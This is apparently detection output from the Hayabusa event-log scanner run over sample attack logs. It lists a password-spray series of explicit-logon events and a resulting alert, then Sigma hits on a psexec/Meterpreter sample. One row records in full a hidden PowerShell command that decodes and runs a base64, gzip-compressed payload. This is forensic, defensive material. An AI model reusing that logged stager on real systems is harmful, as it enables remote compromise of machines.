+09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: jleytevidal : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:31:10.754 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: lpesce : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:31:11.843 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: sanson : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:31:12.917 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: sarmstrong : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:31:13.987 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: wstrzelec : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:31:15.045 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: zmathis : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:31:16.136 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: melliott : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:31:17.201 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: kperryman : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:31:18.302 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: jorchilles : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:31:19.372 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: jlake : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:31:20.450 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: edygert : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:31:21.552 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: drook : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:31:22.656 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: dmashburn : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:31:23.749 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: cspizor : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:31:24.832 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: cragoso : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:31:25.919 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: bgalbraith : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:31:26.998 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: bking : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:31:28.103 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: mdouglas : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:31:29.187 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: bgreenwood : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:31:30.262 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: baker : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:31:31.362 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: ssims : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:31:32.419 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: smisenar : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:31:33.499 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: Administrator : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:31:34.577 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: jwright : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:31:35.670 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: dpendolino : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:31:36.716 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: celgee : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:31:37.815 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: thessman : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:31:38.872 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: eskoudis : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:31:39.954 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: cdavis : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:31:41.028 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: mtoussain : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:31:42.075 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: lschifano : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:31:43.142 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: bhostetler : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:31:44.208 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: rbowes : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:31:45.284 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: ebooth : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:31:46.379 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: cfleener : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:31:47.433 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: cmoody : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:31:48.512 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: psmith : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:31:49.576 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: jkulikowski : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:31:50.656 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: gsalinas : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:31:51.729 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: tbennett : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:31:52.823 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: econrad : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:31:53.886 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: smisenar : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:31:54.942 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: jleytevidal : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:31:56.019 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: lpesce : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:31:57.107 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: sanson : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:31:58.193 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: sarmstrong : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:31:59.253 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: wstrzelec : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:32:00.320 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: zmathis : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:32:01.393 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: melliott : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:32:02.451 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: kperryman : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:32:03.525 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: jorchilles : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:32:03.525 +09:00,-,-,medium,Password Spray,[condition] count(TargetUserName) by IpAddress >= 5 in timeframe [result] count:14 TargetUserName:edygert/jlake/drook/mdouglas/cspizor/cragoso/baker/ssims/jorchilles/bking/smisenar/dmashburn/bgreenwood/bgalbraith IpAddress:172.16.144.128 timeframe:5m,rules/hayabusa/default/alerts/Security/4648_BruteForce_PasswordSprayDetect.yml,- +2019-05-01 04:32:04.597 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: jlake : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:32:05.675 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: edygert : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:32:06.738 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: drook : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:32:07.835 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: dmashburn : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:32:08.911 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: cspizor : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:32:09.973 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: cragoso : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:32:11.051 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: bgalbraith : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:32:12.146 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: bking : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:32:13.221 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: mdouglas : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:32:14.281 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: bgreenwood : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:32:15.352 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: baker : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:32:16.402 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: ssims : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:32:17.474 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: smisenar : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 05:26:51.981 +09:00,IEWIN7,13,high,PowerShell as a Service in Registry,,rules/sigma/registry_event/sysmon_powershell_as_service.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_psexec_smb_meterpreter.evtx +2019-05-01 05:26:51.981 +09:00,IEWIN7,13,critical,CobaltStrike Service Installations in Registry,,rules/sigma/registry_event/sysmon_cobaltstrike_service_installs.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_psexec_smb_meterpreter.evtx +2019-05-01 05:26:51.981 +09:00,IEWIN7,13,high,Suspicious PowerShell Invocations - Specific,,rules/sigma/deprecated/powershell_suspicious_invocation_specific.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_psexec_smb_meterpreter.evtx +2019-05-01 05:26:52.090 +09:00,IEWIN7,1,informational,Process Creation,"Command: C:\Windows\system32\cmd.exe /b /c start /b /min powershell.exe -nop -w hidden -noni -c ""if([IntPtr]::Size -eq 4){$b='powershell.exe'}else{$b=$env:windir+'\syswow64\WindowsPowerShell\v1.0\powershell.exe'};$s=New-Object System.Diagnostics.ProcessStartInfo;$s.FileName=$b;$s.Arguments='-noni -nop -w hidden -c &([scriptblock]::create((New-Object IO.StreamReader(New-Object IO.Compression.GzipStream((New-Object IO.MemoryStream(,[Convert]::FromBase64String(''H4sIAIuvyFwCA7VW+2/aSBD+OZH6P1gVErZCMA60aSJVujVPE5xADITHodNir+0lay/Ya169/u83Btym1/SuPeksHruzM7Mz33w7azcJbUF5KM2DxU1J+vTm/KyLIxxIco6MClKOmsrZGQhz5Er6KMlTtFzWeIBpOLu9rSZRREJxnBebRKA4JsGcURLLivSn9OSTiFw+zBfEFtInKfdHscn4HLOT2q6KbZ9Ilyh00rUOt3EaSdFaMirk/O+/55XppTYr1lcJZrGct3axIEHRYSyvSJ+VdMP+bknkvEntiMfcFcUnGpavioMwxi65B29rYhLhcyfOK5ADfCIikiiUIJvU/Lgo52HYjbiNHCcicZwvSNPU8XQ2+02ennZ9TEJBA1I0QkEivrRItKY2iYstHDqMPBJ3BlaWiGjozRQF1Nb8mci5MGGsIP2KG/mebDLMftZIfmkEWl0RKYW0gn/P0uROwsjRLv9KmFBzBZ5j3QGyz2/O35y7GUVWdyP6kiEwOpsexgQCk7s8pge9j1KpIJmwCRY82sE0148Sosy+wCrl3Gbhx9ZapgqKfP+0BdF0yKkzA5NTHXMbkUp/zMYacWlIarsQB9TOCCe/Bi5xGTnkV8zU7iEkOX9aIE6NMOJhkQKW1vg7s3pAxRdbPaHMIRGyoUAxRAW1U74N5lgDOW+EJgkAn+McSJdzgeYk0z5Re5ftns5BKV9lOI4LUjeBc2YXJItgRpyChMKYnpZQIvhhmP8arpkwQW0ci8zdTDmieNqtysNYRIkNBYPM+9aS2BSzFIiC1KIO0XcW9bJd86/CUMWMAfvB0xrKAJI0fUukNIicNLumUrSIMIIlIwFoHA57g2EPjvaJ4QfWYI84+W+jyxh8pGuKQpb+i9igtBbjoiANaSSgY6SIpuz5L1u/6BQQRDUipwLI2ZmY6juRMjm3H6c8PKFxyD0SkHcj4oGOY/K+cuwJ8lv1gVYRPGMjZKatP1MNbahmmPAd0LLBa9fOXXvRUqPa1neRERtmq1vrtVqVddsaVoRVN8Rd1xBmfbRYWKj1OBiLiYFafVp6Hlf2yzbdWx3kjLfq+72+35T07X7hOe645rretWs9au8atPNU7emlK9yp1ZPOk77RS5W4TjetHh30ntsNMR8PGR64qjfSbjDddqLFUOPm3kCo6ZftfdsdNn3T2Y1blCzUUof2UA+hO/txMGh6S68ZI/VmuKoG3h1CRh8jA9WHu/Y7pvcGDR0N6noPP/Bu+aKmahNnVW9MRrgdMKfZUrXxCDkoUvuer10/+GGKE/b0lZ7qoM5k11BBp1tBrcoV3U9WvaaH6qAzDDjCDfo8uBiBz/s+2DwNNIcjERojVR16qodcyx9jpIO2vkINnVd3H7pmVx0Or3xt/qz5EDMZrT+YbXTRsLuqql4Ec/hVkW0ut+FI31yvvZbF7/AdHq4nZVXrb5ouWqGLC13T56JVL7fXsG9fvRl8fJtyB8iTc/f+5AUvftTATRzFPmbAF+jN2cls8Khx6rhdTlMLWT5ezs8kCgmDCw6uwIzliDFup83+0Jzhojm2//Q2GsCwfPXqSJG+KCpfr4FMdHs7gTDh3OzHxQ4JPeEXSttyqQRdvbStlCDJn0+sypc7GRwV0jvhgMvRLzv4VdKzlPMfh1Hlf4brdIZ9+HP+Da6vsn9Y/SkIS4Vjyt+JvxX8EqK/nvsTpgJULehDjBxvv9chOJHjxYvBoTRQfff0pK91D4m4vIcXhjfnfwFhhx3MPQoAAA==''))),[IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))';$s.UseShellExecute=$false;$s.RedirectStandardOutput=$true;$s.WindowStyle='Hidden';$s.CreateNoWindow=$true;$p=[System.Diagnostics.Process]::Start($s);"" : Path: C:\Windows\System32\cmd.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_psexec_smb_meterpreter.evtx +2019-05-01 05:26:52.090 +09:00,IEWIN7,1,medium,Mimikatz Command Line,,rules/sigma/process_creation/win_mimikatz_command_line.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_psexec_smb_meterpreter.evtx +2019-05-01 05:26:52.090 +09:00,IEWIN7,1,high,Suspicious SYSTEM User Process Creation,,rules/sigma/process_creation/win_susp_system_user_anomaly.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_psexec_smb_meterpreter.evtx +2019-05-01 05:26:52.090 +09:00,IEWIN7,1,high,FromBase64String Command Line,,rules/sigma/process_creation/win_powershell_frombase64string.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_psexec_smb_meterpreter.evtx +2019-05-01 05:26:52.090 +09:00,IEWIN7,1,high,Suspicious PowerShell Parent Process,,rules/sigma/process_creation/win_susp_powershell_parent_process.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_psexec_smb_meterpreter.evtx +2019-05-01 05:26:52.090 +09:00,IEWIN7,1,high,Abused Debug Privilege by Arbitrary Parent Processes,,rules/sigma/process_creation/sysmon_abusing_debug_privilege.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_psexec_smb_meterpreter.evtx +2019-05-01 05:26:52.090 +09:00,IEWIN7,1,medium,Curl Start Combination,,rules/sigma/process_creation/win_susp_curl_start_combo.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_psexec_smb_meterpreter.evtx +2019-05-01 05:26:52.090 +09:00,IEWIN7,1,high,Suspicious PowerShell Invocations - Specific,,rules/sigma/deprecated/powershell_suspicious_invocation_specific.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_psexec_smb_meterpreter.evtx +2019-05-01 05:26:52.090 +09:00,IEWIN7,1,medium,Too Long PowerShell Commandlines,,rules/sigma/process_creation/sysmon_long_powershell_commandline.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_psexec_smb_meterpreter.evtx 